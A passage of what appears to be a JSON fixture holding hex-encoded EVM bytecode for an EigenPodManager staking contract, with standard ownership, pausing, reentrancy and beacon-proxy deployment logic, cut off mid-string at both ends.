d5b5061029c7f000000000000000000000000424242424242424242424242424242424242424281565b34801561044257600080fd5b5061029c611136565b34801561045757600080fd5b5060655461029c906001600160a01b031681565b34801561047757600080fd5b506033546001600160a01b031661029c565b34801561049557600080fd5b5061029c73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac081565b6102466104bf366004612544565b61121f565b3480156104d057600080fd5b5061029c6104df366004612437565b6098602052600090815260409020546001600160a01b031681565b34801561050657600080fd5b5061029c610515366004612437565b61130d565b34801561052657600080fd5b5061021360995481565b34801561053c57600080fd5b5061029c7f000000000000000000000000a513e6e4b8f2a923d98304ec87f64353c4d5c85381565b34801561057057600080fd5b5061024661057f36600461240b565b6113df565b34801561059057600080fd5b5060975461029c906001600160a01b031681565b3480156105b057600080fd5b506102466105bf366004612437565b6115f6565b3480156105d057600080fd5b506102466105df36600461240b565b611607565b3480156105f057600080fd5b506102466105ff3660046125bd565b611a09565b34801561061057600080fd5b5061021361061f3660046124ae565b611b32565b34801561063057600080fd5b5061029c7f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc981565b34801561066457600080fd5b50610246610673366004612437565b611c3d565b34801561068457600080fd5b5061039b610693366004612437565b6001600160a01b0390811660009081526098602052604090205416151590565b3480156106bf57600080fd5b506102466106ce366004612454565b611cb3565b6000336001600160a01b037f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc916146107265760405162461bcd60e51b815260040161071d9061260e565b60405180910390fd5b6001600160a01b0383166107a25760405162461bcd60e51b815260206004820152603a60248201527f456967656e506f644d616e616765722e6164645368617265733a20706f644f7760448201527f6e65722063616e6e6f74206265207a65726f2061646472657373000000000000606482015260840161071d565b60008212156108105760405162461bcd60e51b815260206004820152603460248201527f456967656e506f644d616e616765722e6164645368617265733a207368617265604482015273732063616e6e6f74206265206e6567617469766560601b606482015260840161071d565b61081e633b9aca0083612682565b156108915760405162461bcd60e51b815260206004820152603d60248201527f456967656e506f644d616e616765722e6164645368617265733a20736861726560448201527f73206d75737420626520612077686f6c65204777656920616d6f756e74000000606482015260840161071d565b6001600160a01b0383166000908152609b6020526040812054906108b584836126ac565b6001600160a01b0386166000818152609b60205260409081902083905551919250906000805160206131f8833981519152906108f49087815260200190565b60405180910390a26109068282611e0f565b925050505b92915050565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610964573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098891906126d4565b6001600160a01b0316336001600160a01b0316146109b85760405162461bcd60e51b815260040161071d906126f1565b6109c181611e51565b50565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610a0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a30919061273b565b610a4c5760405162461bcd60e51b815260040161071d9061275d565b60665481811614610ac55760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c6974790000000000000000606482015260840161071d565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b336001600160a01b037f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc91614610b4b5760405162461bcd60e51b815260040161071d9061260e565b6001600160a01b038316610bc55760405162461bcd60e51b8152602060048201526047602482015260008051602061321883398151915260448201527f546f6b656e733a20706f644f776e65722063616e6e6f74206265207a65726f206064820152666164647265737360c81b608482015260a40161071d565b6001600160a01b038216610c425760405162461bcd60e51b815260206004820152604a602482015260008051602061321883398151915260448201527f546f6b656e733a2064657374696e6174696f6e2063616e6e6f74206265207a65606482015269726f206164647265737360b01b608482015260a40161071d565b6000811215610cb15760405162461bcd60e51b8152602060048201526041602482015260008051602061321883398151915260448201527f546f6b656e733a207368617265732063616e6e6f74206265206e6567617469766064820152606560f81b608482015260a40161071d565b610cbf633b9aca0082612682565b15610d335760405162461bcd60e51b815260206004820152604a602482015260008051602061321883398151915260448201527f546f6b656e733a20736861726573206d75737420626520612077686f6c6520476064820152691dd95a48185b5bdd5b9d60b21b608482015260a40161071d565b6001600160a01b0383166000908152609b602052604081205490811215610e26576000610d5f826127a5565b905080831115610dc4576001600160a01b0385166000908152609b6020526040812055610d8c81846127c1565b9250846001600160a01b03166000805160206131f883398151915282604051610db791815260200190565b60405180910390a2610e24565b6001600160a01b0385166000908152609b602052604081208054859290610dec9084906126ac565b90915550506040518381526001600160a01b038616906000805160206131f88339815191529060200160405180910390a25050505050565b505b6001600160a01b03848116600090815260986020526040908190205490516362483a2160e11b815285831660048201526024810185905291169063c490744290604401600060405180830381600087803b158015610e8357600080fd5b505af1158015610e97573d6000803e3d6000fd5b5050505050505050565b609c5460009067ffffffffffffffff16808203610ec75767ffffffffffffffff91505090565b919050565b610ed4611f48565b8067ffffffffffffffff16600003610f695760405162461bcd60e51b815260206004820152604c60248201527f456967656e506f644d616e616765722e73657444656e6562466f726b54696d6560448201527f7374616d703a2063616e6e6f7420736574206e657744656e6562466f726b546960648201526b06d657374616d7020746f20360a41b608482015260a40161071d565b609c5467ffffffffffffffff16156110055760405162461bcd60e51b815260206004820152605360248201527f456967656e506f644d616e616765722e73657444656e6562466f726b54696d6560448201527f7374616d703a2063616e6e6f74207365742064656e6562466f726b54696d657360648201527274616d70206d6f7265207468616e206f6e636560681b608482015260a40161071d565b609c805467ffffffffffffffff191667ffffffffffffffff83169081179091556040519081527f19200b6fdad58f91b2f496b0c444fc4be3eff74a7e24b07770e04a7137bfd9db9060200160405180910390a150565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156110a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c7919061273b565b6110e35760405162461bcd60e51b815260040161071d9061275d565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b61112a611f48565b6111346000611fa2565b565b606654600090819060019081160361118c5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161071d565b336000908152609860205260409020546001600160a01b03161561120e5760405162461bcd60e51b815260206004820152603360248201527f456967656e506f644d616e616765722e637265617465506f643a2053656e64656044820152721c88185b1c9958591e481a185cc818481c1bd9606a1b606482015260840161071d565b6000611218611ff4565b9250505090565b6066546000906001908116036112735760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161071d565b336000908152609860205260409020546001600160a01b03168061129c57611299611ff4565b90505b6040516326d3918d60e21b81526001600160a01b03821690639b4e46349034906112d2908b908b908b908b908b906004016127fd565b6000604051808303818588803b1580156112eb57600080fd5b505af11580156112ff573d6000803e3d6000fd5b505050505050505050505050565b6001600160a01b038082166000908152609860205260408120549091168061090b576113d8836001600160a01b031660001b60405180610940016040528061090e81526020016128ea61090e9139604080516001600160a01b037f000000000000000000000000b7f8bc63bbcad18155201308c8f3540b07f84f5e166020820152808201919091526000606082015260800160408051601f19818403018152908290526113bd9291602001612867565b60405160208183030381529060405280519060200120612159565b9392505050565b336001600160a01b037f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc916146114275760405162461bcd60e51b815260040161071d9061260e565b600081121561149e5760405162461bcd60e51b815260206004820152603760248201527f456967656e506f644d616e616765722e72656d6f76655368617265733a20736860448201527f617265732063616e6e6f74206265206e65676174697665000000000000000000606482015260840161071d565b6114ac633b9aca0082612682565b15611521576040805162461bcd60e51b81526020600482015260248101919091527f456967656e506f644d616e616765722e72656d6f76655368617265733a20736860448201527f61726573206d75737420626520612077686f6c65204777656920616d6f756e74606482015260840161071d565b6001600160a01b0382166000908152609b602052604081205461154590839061287c565b905060008112156115d65760405162461bcd60e51b815260206004820152604f60248201527f456967656e506f644d616e616765722e72656d6f76655368617265733a20636160448201527f6e6e6f7420726573756c7420696e20706f64206f776e657220686176696e672060648201526e6e656761746976652073686172657360881b608482015260a40161071d565b6001600160a01b039092166000908152609b602052604090209190915550565b6115fe611f48565b6109c1816121b5565b6001600160a01b0380831660009081526098602052604090205483911633146116825760405162461bcd60e51b815260206004820152602760248201527f456967656e506f644d616e616765722e6f6e6c79456967656e506f643a206e6f6044820152661d0818481c1bd960ca1b606482015260840161071d565b600260c954036116d45760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015260640161071d565b600260c9556001600160a01b0383166117705760405162461bcd60e51b815260206004820152605260248201527f456967656e506f644d616e616765722e7265636f7264426561636f6e4368616960448201527f6e45544842616c616e63655570646174653a20706f644f776e65722063616e6e6064820152716f74206265207a65726f206164647265737360701b608482015260a40161071d565b61177e633b9aca00836128a3565b156118175760405162461bcd60e51b815260206004820152605a60248201527f456967656e506f644d616e616765722e7265636f7264426561636f6e4368616960448201527f6e45544842616c616e63655570646174653a2073686172657344656c7461206d60648201527f75737420626520612077686f6c65204777656920616d6f756e74000000000000608482015260a40161071d565b6001600160a01b0383166000908152609b60205260408120549061183b84836126ac565b6001600160a01b0386166000908152609b602052604081208290559091506118638383611e0f565b905080156119cb57600081121561192e576001600160a01b037f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc91663132d49678773beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac06118c2856127a5565b6040516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301526044820152606401600060405180830381600087803b15801561191157600080fd5b505af1158015611925573d6000803e3d6000fd5b505050506119cb565b604051631452b9d760e11b81526001600160a01b03878116600483015273beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac06024830152604482018390527f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc916906328a573ae90606401600060405180830381600087803b1580156119b257600080fd5b505af11580156119c6573d6000803e3d6000fd5b505050505b856001600160a01b03166000805160206131f8833981519152866040516119f491815260200190565b60405180910390a25050600160c95550505050565b600054610100900460ff1615808015611a295750600054600160ff909116105b80611a435750303b158015611a43575060005460ff166001145b611aa65760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b606482015260840161071d565b6000805460ff191660011790558015611ac9576000805461ff0019166101001790555b611ad2856121b5565b611adb84611fa2565b611ae583836121ff565b8015611b2b576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050505050565b60975460405163321accf960e11b815267ffffffffffffffff8316600482015260009182916001600160a01b039091169063643599f290602401602060405180830381865afa158015611b89573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bad91906128b7565b90508061090b5760405162461bcd60e51b815260206004820152605260248201527f456967656e506f644d616e616765722e676574426c6f636b526f6f744174546960448201527f6d657374616d703a20737461746520726f6f742061742074696d657374616d70606482015271081b9bdd081e595d08199a5b985b1a5e995960721b608482015260a40161071d565b611c45611f48565b6001600160a01b038116611caa5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161071d565b6109c181611fa2565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611d06573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d2a91906126d4565b6001600160a01b0316336001600160a01b031614611d5a5760405162461bcd60e51b815260040161071d906126f1565b606654198119606654191614611dd85760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c6974790000000000000000606482015260840161071d565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c90602001610af8565b6000808313611e2f5760008213611e285750600061090b565b508061090b565b60008213611e4757611e40836127a5565b905061090b565b611e40838361287c565b6001600160a01b038116611edf5760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a40161071d565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6033546001600160a01b031633146111345760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161071d565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6000609960008154612005906128d0565b9091555060408051610940810190915261090e8082526000916120a491839133916128ea6020830139604080516001600160a01b037f000000000000000000000000b7f8bc63bbcad18155201308c8f3540b07f84f5e166020820152808201919091526000606082015260800160408051601f19818403018152908290526120909291602001612867565b6040516020818303038152906040526122e9565b60405163189acdbd60e31b81523360048201529091506001600160a01b0382169063c4d66de890602401600060405180830381600087803b1580156120e857600080fd5b505af11580156120fc573d6000803e3d6000fd5b50503360008181526098602052604080822080546001600160a01b0319166001600160a01b038816908117909155905192945092507f21c99d0db02213c32fff5b05cf0a718ab5f858802b91498f80d82270289d856a91a3919050565b604080516001600160f81b03196020808301919091526bffffffffffffffffffffffff193060601b16602183015260358201859052605580830185905283518084039091018152607590920190925280519101206000906113d8565b609780546001600160a01b0319166001600160a01b0383169081179091556040517f08f0470754946ccfbb446ff7fd2d6ae6af1bbdae19f85794c0cc5ed5e8ceb4f690600090a250565b6065546001600160a01b031615801561222057506001600160a01b03821615155b6122a25760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a40161071d565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a26122e582611e51565b5050565b6000808447101561233c5760405162461bcd60e51b815260206004820152601d60248201527f437265617465323a20696e73756666696369656e742062616c616e6365000000604482015260640161071d565b825160000361238d5760405162461bcd60e51b815260206004820181905260248201527f437265617465323a2062797465636f6465206c656e677468206973207a65726f604482015260640161071d565b8383516020850187f590506001600160a01b0381166123ee5760405162461bcd60e51b815260206004820152601960248201527f437265617465323a204661696c6564206f6e206465706c6f7900000000000000604482015260640161071d565b949350505050565b6001600160a01b03811681146109c157600080fd5b6000806040838503121561241e57600080fd5b8235612429816123f6565b946020939093013593505050565b60006020828403121561244957600080fd5b81356113d8816123f6565b60006020828403121561246657600080fd5b5035919050565b60008060006060848603121561248257600080fd5b833561248d816123f6565b9250602084013561249d816123f6565b929592945050506040919091013590565b6000602082840312156124c057600080fd5b813567ffffffffffffffff811681146113d857600080fd5b6000602082840312156124ea57600080fd5b813560ff811681146113d857600080fd5b60008083601f84011261250d57600080fd5b50813567ffffffffffffffff81111561252557600080fd5b60208301915083602082850101111561253d57600080fd5b9250929050565b60008060008060006060868803121561255c57600080fd5b853567ffffffffffffffff81111561257357600080fd5b61257f888289016124fb565b909650945050602086013567ffffffffffffffff81111561259f57600080fd5b6125ab888289016124fb565b96999598509660400135949350505050565b600080600080608085870312156125d357600080fd5b84356125de816123f6565b935060208501356125ee816123f6565b925060408501356125fe816123f6565b9396929550929360600135925050565b602080825260409082018190527f456967656e506f644d616e616765722e6f6e6c7944656c65676174696f6e4d61908201527f6e616765723a206e6f74207468652044656c65676174696f6e4d616e61676572606082015260800190565b634e487b7160e01b600052601260045260246000fd5b6000826126915761269161266c565b500690565b634e487b7160e01b600052601160045260246000fd5b80820182811260008312801582168215821617156126cc576126cc612696565b505092915050565b6000602082840312156126e657600080fd5b81516113d8816123f6565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b60006020828403121561274d57600080fd5b815180151581146113d857600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b6000600160ff1b82016127ba576127ba612696565b5060000390565b8181038181111561090b5761090b612696565b81835281816020850137506000828201602090810191909152601f909101601f19169091010190565b6060815260006128116060830187896127d4565b82810360208401526128248186886127d4565b9150508260408301529695505050505050565b6000815160005b81811015612858576020818501810151868301520161283e565b50600093019283525090919050565b60006123ee6128768386612837565b84612837565b818103600083128015838313168383128216171561289c5761289c612696565b5092915050565b6000826128b2576128b261266c565b500790565b6000602082840312156128c957600080fd5b5051919050565b6000600182016128e2576128e2612696565b506001019056fe608060405260405161090e38038061090e83398101604081905261002291610460565b61002e82826000610035565b505061058a565b61003e83610100565b6040516001600160a01b038416907f1cf3b03a6cf19fa2baba4df148e9dcabedea7f8a5c07840e207e5c089be95d3e90600090a260008251118061007f5750805b156100fb576100f9836001600160a01b0316635c60da1b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156100c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100e99190610520565b836102a360201b6100291760201c565b505b505050565b610113816102cf60201b6100551760201c565b6101725760405162461bcd60e51b815260206004820152602560248201527f455243313936373a206e657720626561636f6e206973206e6f74206120636f6e6044820152641d1c9858dd60da1b60648201526084015b60405180910390fd5b6101e6816001600160a01b0316635c60da1b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101d79190610520565b6102cf60201b6100551760201c565b61024b5760405162461bcd60e51b815260206004820152603060248201527f455243313936373a20626561636f6e20696d706c656d656e746174696f6e206960448201526f1cc81b9bdd08184818dbdb9d1c9858dd60821b6064820152608401610169565b806102827fa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d5060001b6102de60201b6100641760201c565b80546001600160a01b0319166001600160a01b039290921691909117905550565b60606102c883836040518060600160405280602781526020016108e7602791396102e1565b9392505050565b6001600160a01b03163b151590565b90565b6060600080856001600160a01b0316856040516102fe919061053b565b600060405180830381855af49150503d8060008114610339576040519150601f19603f3d011682016040523d82523d6000602084013e61033e565b606091505b5090925090506103508683838761035a565b9695505050505050565b606083156103c65782516103bf576001600160a01b0385163b6103bf5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610169565b50816103d0565b6103d083836103d8565b949350505050565b8151156103e85781518083602001fd5b8060405162461bcd60e51b81526004016101699190610557565b80516001600160a01b038116811461041957600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b8381101561044f578181015183820152602001610437565b838111156100f95750506000910152565b6000806040838503121561047357600080fd5b61047c83610402565b60208401519092506001600160401b038082111561049957600080fd5b818501915085601f8301126104ad57600080fd5b8151818111156104bf576104bf61041e565b604051601f8201601f19908116603f011681019083821181831017156104e7576104e761041e565b8160405282815288602084870101111561050057600080fd5b610511836020830160208801610434565b80955050505050509250929050565b60006020828403121561053257600080fd5b6102c882610402565b6000825161054d818460208701610434565b9190910192915050565b6020815260008251806020840152610576816040850160208701610434565b601f01601f19169190910160400192915050565b61034e806105996000396000f3fe60806040523661001357610011610017565b005b6100115b610027610022610067565b610100565b565b606061004e83836040518060600160405280602781526020016102f260279139610124565b9392505050565b6001600160a01b03163b151590565b90565b600061009a7fa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50546001600160a01b031690565b6001600160a01b0316635c60da1b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156100d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100fb9190610249565b905090565b3660008037600080366000845af43d6000803e80801561011f573d6000f35b3d6000fd5b6060600080856001600160a01b03168560405161014191906102a2565b600060405180830381855af49150503d806000811461017c576040519150601f19603f3d011682016040523d82523d6000602084013e610181565b606091505b50915091506101928683838761019c565b9695505050505050565b6060831561020d578251610206576001600160a01b0385163b6102065760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000060448201526064015b60405180910390fd5b5081610217565b610217838361021f565b949350505050565b81511561022f5781518083602001fd5b8060405162461bcd60e51b81526004016101fd91906102be565b60006020828403121561025b57600080fd5b81516001600160a01b038116811461004e57600080fd5b60005b8381101561028d578181015183820152602001610275565b8381111561029c576000848401525b50505050565b600082516102b4818460208701610272565b9190910192915050565b60208152600082518060208401526102dd816040850160208701610272565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220d51e81d3bc5ed20a26aeb05dce7e825c503b2061aa78628027300c8d65b9d89a64736f6c634300080c0033416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65644e2b791dedccd9fb30141b088cabf5c14a8912b52f59375c95c010700b8c6193456967656e506f644d616e616765722e77697468647261775368617265734173a2646970667358221220399497eab4459a973826c435240cfd79916cb991f3ddb98b84a2d2a19866f8da64736f6c634300081c0033", + "out": "0x6080604052600436106101ee5760003560e01c80638da5cb5b1161010d578063c052bd61116100a0578063d1c64cc91161006f578063d1c64cc914610604578063ea4d3c9b14610624578063f2fde38b14610658578063f6848d2414610678578063fabc1cbc146106b357600080fd5b8063c052bd6114610584578063c1de3aef146105a4578063c2c51c40146105c4578063cf756fdf146105e457600080fd5b8063a38406a3116100dc578063a38406a3146104fa578063a6a509be1461051a578063b134427114610530578063beffbb891461056457600080fd5b80638da5cb5b1461046b5780639104c319146104895780639b4e4634146104b15780639ba06275146104c457600080fd5b8063595c6a6711610185578063715018a611610154578063715018a6146103ed57806374cdd7981461040257806384d8106214610436578063886f11951461044b57600080fd5b8063595c6a67146103565780635ac86ab71461036b5780635c975abb146103ab57806360f4062b146103c057600080fd5b8063387b1300116101c1578063387b1300146102b457806339b70e38146102d457806344e71c8014610308578063463db0381461033657600080fd5b80630e81073c146101f357806310d67a2f14610226578063136439dd14610248578063292b7b2b14610268575b600080fd5b3480156101ff57600080fd5b5061021361020e36600461240b565b6106d3565b6040519081526020015b60405180910390f35b34801561023257600080fd5b50610246610241366004612437565b610911565b005b34801561025457600080fd5b50610246610263366004612454565b6109c4565b34801561027457600080fd5b5061029c7f000000000000000000000000b7f8bc63bbcad18155201308c8f3540b07f84f5e81565b6040516001600160a01b03909116815260200161021d565b3480156102c057600080fd5b506102466102cf36600461246d565b610b03565b3480156102e057600080fd5b5061029c7f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c981565b34801561031457600080fd5b5061031d610ea1565b60405167ffffffffffffffff909116815260200161021d565b34801561034257600080fd5b506102466103513660046124ae565b610ecc565b34801561036257600080fd5b5061024661105b565b34801561037757600080fd5b5061039b6103863660046124d8565b606654600160ff9092169190911b9081161490565b604051901515815260200161021d565b3480156103b757600080fd5b50606654610213565b3480156103cc57600080fd5b506102136103db366004612437565b609b6020526000908152604090205481565b3480156103f957600080fd5b50610246611122565b34801561040e57600080fd5b5061029c7f000000000000000000000000424242424242424242424242424242424242424281565b34801561044257600080fd5b5061029c611136565b34801561045757600080fd5b5060655461029c906001600160a01b031681565b34801561047757600080fd5b506033546001600160a01b031661029c565b34801561049557600080fd5b5061029c73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac081565b6102466104bf366004612544565b61121f565b3480156104d057600080fd5b5061029c6104df366004612437565b6098602052600090815260409020546001600160a01b031681565b34801561050657600080fd5b5061029c610515366004612437565b61130d565b34801561052657600080fd5b5061021360995481565b34801561053c57600080fd5b5061029c7f000000000000000000000000a513e6e4b8f2a923d98304ec87f64353c4d5c85381565b34801561057057600080fd5b5061024661057f36600461240b565b6113df565b34801561059057600080fd5b5060975461029c906001600160a01b031681565b3480156105b057600080fd5b506102466105bf366004612437565b6115f6565b3480156105d057600080fd5b506102466105df36600461240b565b611607565b3480156105f057600080fd5b506102466105ff3660046125bd565b611a09565b34801561061057600080fd5b5061021361061f3660046124ae565b611b32565b34801561063057600080fd5b5061029c7f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc981565b34801561066457600080fd5b50610246610673366004612437565b611c3d565b34801561068457600080fd5b5061039b610693366004612437565b6001600160a01b0390811660009081526098602052604090205416151590565b3480156106bf57600080fd5b506102466106ce366004612454565b611cb3565b6000336001600160a01b037f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc916146107265760405162461bcd60e51b815260040161071d9061260e565b60405180910390fd5b6001600160a01b0383166107a25760405162461bcd60e51b815260206004820152603a60248201527f456967656e506f644d616e616765722e6164645368617265733a20706f644f7760448201527f6e65722063616e6e6f74206265207a65726f2061646472657373000000000000606482015260840161071d565b60008212156108105760405162461bcd60e51b815260206004820152603460248201527f456967656e506f644d616e616765722e6164645368617265733a207368617265604482015273732063616e6e6f74206265206e6567617469766560601b606482015260840161071d565b61081e633b9aca0083612682565b156108915760405162461bcd60e51b815260206004820152603d60248201527f456967656e506f644d616e616765722e6164645368617265733a20736861726560448201527f73206d75737420626520612077686f6c65204777656920616d6f756e74000000606482015260840161071d565b6001600160a01b0383166000908152609b6020526040812054906108b584836126ac565b6001600160a01b0386166000818152609b60205260409081902083905551919250906000805160206131f8833981519152906108f49087815260200190565b60405180910390a26109068282611e0f565b925050505b92915050565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610964573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098891906126d4565b6001600160a01b0316336001600160a01b0316146109b85760405162461bcd60e51b815260040161071d906126f1565b6109c181611e51565b50565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610a0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a30919061273b565b610a4c5760405162461bcd60e51b815260040161071d9061275d565b60665481811614610ac55760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c6974790000000000000000606482015260840161071d565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b336001600160a01b037f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc91614610b4b5760405162461bcd60e51b815260040161071d9061260e565b6001600160a01b038316610bc55760405162461bcd60e51b8152602060048201526047602482015260008051602061321883398151915260448201527f546f6b656e733a20706f644f776e65722063616e6e6f74206265207a65726f206064820152666164647265737360c81b608482015260a40161071d565b6001600160a01b038216610c425760405162461bcd60e51b815260206004820152604a602482015260008051602061321883398151915260448201527f546f6b656e733a2064657374696e6174696f6e2063616e6e6f74206265207a65606482015269726f206164647265737360b01b608482015260a40161071d565b6000811215610cb15760405162461bcd60e51b8152602060048201526041602482015260008051602061321883398151915260448201527f546f6b656e733a207368617265732063616e6e6f74206265206e6567617469766064820152606560f81b608482015260a40161071d565b610cbf633b9aca0082612682565b15610d335760405162461bcd60e51b815260206004820152604a602482015260008051602061321883398151915260448201527f546f6b656e733a20736861726573206d75737420626520612077686f6c6520476064820152691dd95a48185b5bdd5b9d60b21b608482015260a40161071d565b6001600160a01b0383166000908152609b602052604081205490811215610e26576000610d5f826127a5565b905080831115610dc4576001600160a01b0385166000908152609b6020526040812055610d8c81846127c1565b9250846001600160a01b03166000805160206131f883398151915282604051610db791815260200190565b60405180910390a2610e24565b6001600160a01b0385166000908152609b602052604081208054859290610dec9084906126ac565b90915550506040518381526001600160a01b038616906000805160206131f88339815191529060200160405180910390a25050505050565b505b6001600160a01b03848116600090815260986020526040908190205490516362483a2160e11b815285831660048201526024810185905291169063c490744290604401600060405180830381600087803b158015610e8357600080fd5b505af1158015610e97573d6000803e3d6000fd5b5050505050505050565b609c5460009067ffffffffffffffff16808203610ec75767ffffffffffffffff91505090565b919050565b610ed4611f48565b8067ffffffffffffffff16600003610f695760405162461bcd60e51b815260206004820152604c60248201527f456967656e506f644d616e616765722e73657444656e6562466f726b54696d6560448201527f7374616d703a2063616e6e6f7420736574206e657744656e6562466f726b546960648201526b06d657374616d7020746f20360a41b608482015260a40161071d565b609c5467ffffffffffffffff16156110055760405162461bcd60e51b815260206004820152605360248201527f456967656e506f644d616e616765722e73657444656e6562466f726b54696d6560448201527f7374616d703a2063616e6e6f74207365742064656e6562466f726b54696d657360648201527274616d70206d6f7265207468616e206f6e636560681b608482015260a40161071d565b609c805467ffffffffffffffff191667ffffffffffffffff83169081179091556040519081527f19200b6fdad58f91b2f496b0c444fc4be3eff74a7e24b07770e04a7137bfd9db9060200160405180910390a150565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156110a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c7919061273b565b6110e35760405162461bcd60e51b815260040161071d9061275d565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b61112a611f48565b6111346000611fa2565b565b606654600090819060019081160361118c5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161071d565b336000908152609860205260409020546001600160a01b03161561120e5760405162461bcd60e51b815260206004820152603360248201527f456967656e506f644d616e616765722e637265617465506f643a2053656e64656044820152721c88185b1c9958591e481a185cc818481c1bd9606a1b606482015260840161071d565b6000611218611ff4565b9250505090565b6066546000906001908116036112735760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185